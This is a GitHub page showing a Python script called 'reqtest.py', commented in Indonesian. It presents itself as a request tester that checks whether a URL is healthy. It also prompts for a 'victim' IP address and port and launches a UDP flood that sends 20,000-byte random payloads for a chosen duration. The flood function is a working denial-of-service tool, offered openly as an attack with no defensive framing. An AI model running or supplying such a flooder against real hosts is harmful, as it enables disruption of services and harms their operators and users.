-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathreqtest.py
147 lines (117 loc) · 5.36 KB
/
reqtest.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import requests
import time
import random
import signal
import socket
from colorama import Fore, Style
import os
# Fungsi untuk menangani sinyal SIGTSTP (Ctrl+Z)
def signal_handler(sig, frame):
print('\nProses request dihentikan.')
exit(0)
# Mengatur penanganan sinyal SIGTSTP (Ctrl+Z)
signal.signal(signal.SIGTSTP, signal_handler)
# Fungsi untuk mengirim request ke server
def send_request(url, num_requests, max_delay):
# Mengatur adapter HTTP
adapter = requests.adapters.HTTPAdapter(
pool_connections=100,
pool_maxsize=100,
max_retries=3,
)
# Membuat session dengan adapter HTTP
session = requests.Session()
session.mount("http://", adapter)
session.mount("https://", adapter)
# Melakukan request sebanyak jumlah yang diinginkan
responses = []
for i in range(num_requests):
# Menampilkan progress request
print(f"Mengirim request ke server... {i+1}/{num_requests}", end='\r')
# Memulai waktu sebelum request
start_time = time.time()
# Melakukan request
response = session.get(url)
# Menghitung waktu respons dari server
response_time = (time.time() - start_time) * 1000
# Menyimpan respons ke dalam list
responses.append(response)
# Menampilkan status code, waktu respons dari server, dan status kesehatan situs
if response.status_code == 200:
print(f"Response {i+1}: {response.status_code} | Response Time: {response_time:.2f} ms | Status: Healthy")
else:
print(f"Response {i+1}: {response.status_code} | Response Time: {response_time:.2f} ms | Status: Down")
# Menghasilkan delay acak antara 0 hingga max_delay
delay = random.uniform(0, max_delay)
# Memberikan penundaan sebelum request berikutnya
time.sleep(delay)
return responses
# Fungsi untuk melakukan serangan flood menggunakan UDP
def flood(victim, vport, duration):
# Membuat socket dengan tipe SOCK_DGRAM untuk UDP
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Menyiapkan bytes random sebagai payload
bytes = random._urandom(20000)
timeout = time.time() + duration
sent = 3000
while True:
if time.time() > timeout:
break
else:
pass
# Mengirim paket ke target
client.sendto(bytes, (victim, vport))
sent += 1
print(f"Memulai {sent} mengirim paket {victim} pada port {vport}")
def main():
# Membersihkan layar
os.system('cls' if os.name == 'nt' else 'clear')
# Mengatur warna banner
banner_color = Fore.CYAN
banner_color2 = Fore.GREEN
banner_color3 = Fore.RED
# Banner ReQTest
print(banner_color + """
██████╗ ███████╗███████╗████████╗ █████╗ ███╗ ██╗ ██████╗ ██████╗
██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗████╗ ██║██╔════╝██╔═══██╗
██████╔╝█████╗ ███████╗ ██║ ███████║██╔██╗ ██║██║ ██║ ██║
██╔══██╗██╔══╝ ╚════██║ ██║ ██╔══██║██║╚██╗██║██║ ██║ ██║
██║ ██║███████╗███████║ ██║ ██║ ██║██║ ╚████║╚██████╗╚██████╔╝
╚═╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝
by HadiWeb
""")
# Input URL target
url = input(banner_color2 + "Masukkan URL target: ")
# Input jumlah request yang diinginkan
num_requests = int(input(banner_color2 + "Masukkan jumlah request: "))
# Input max delay (dalam detik)
max_delay = float(input(banner_color2 + "Masukkan max delay (dalam detik): "))
# Input victim
victim = input(banner_color2 + "Masukkan alamat IP victim: ")
# Input port
port = int(input(banner_color2 + "Masukkan port target: "))
# Input duration
duration = int(input(banner_color2 + "Masukkan durasi serangan flood (dalam detik): "))
# Mengirim request ke server
responses = send_request(url, num_requests, max_delay)
# Hapus file hasil.txt jika sudah ada sebelumnya
if os.path.exists('hasil.txt'):
os.remove('hasil.txt')
# Membuat file hasil.txt
with open('hasil.txt', 'w') as file:
# Menulis informasi victim, waktu respons server, dan status kesehatan situs
file.write(f"URL: {url}\n\n")
file.write(f"Victim: {victim}\n\n")
for i, response in enumerate(responses):
file.write(f"Request {i+1}:\n")
file.write(f"Status Code: {response.status_code}\n")
file.write(f"Response Time: {(response.elapsed.total_seconds() * 1000):.2f} ms\n")
if response.status_code == 200:
file.write("Status: Healthy\n")
else:
file.write("Status: Down\n")
file.write("\n")
# Melakukan serangan flood
flood(victim, port, duration)
if __name__ == '__main__':
main()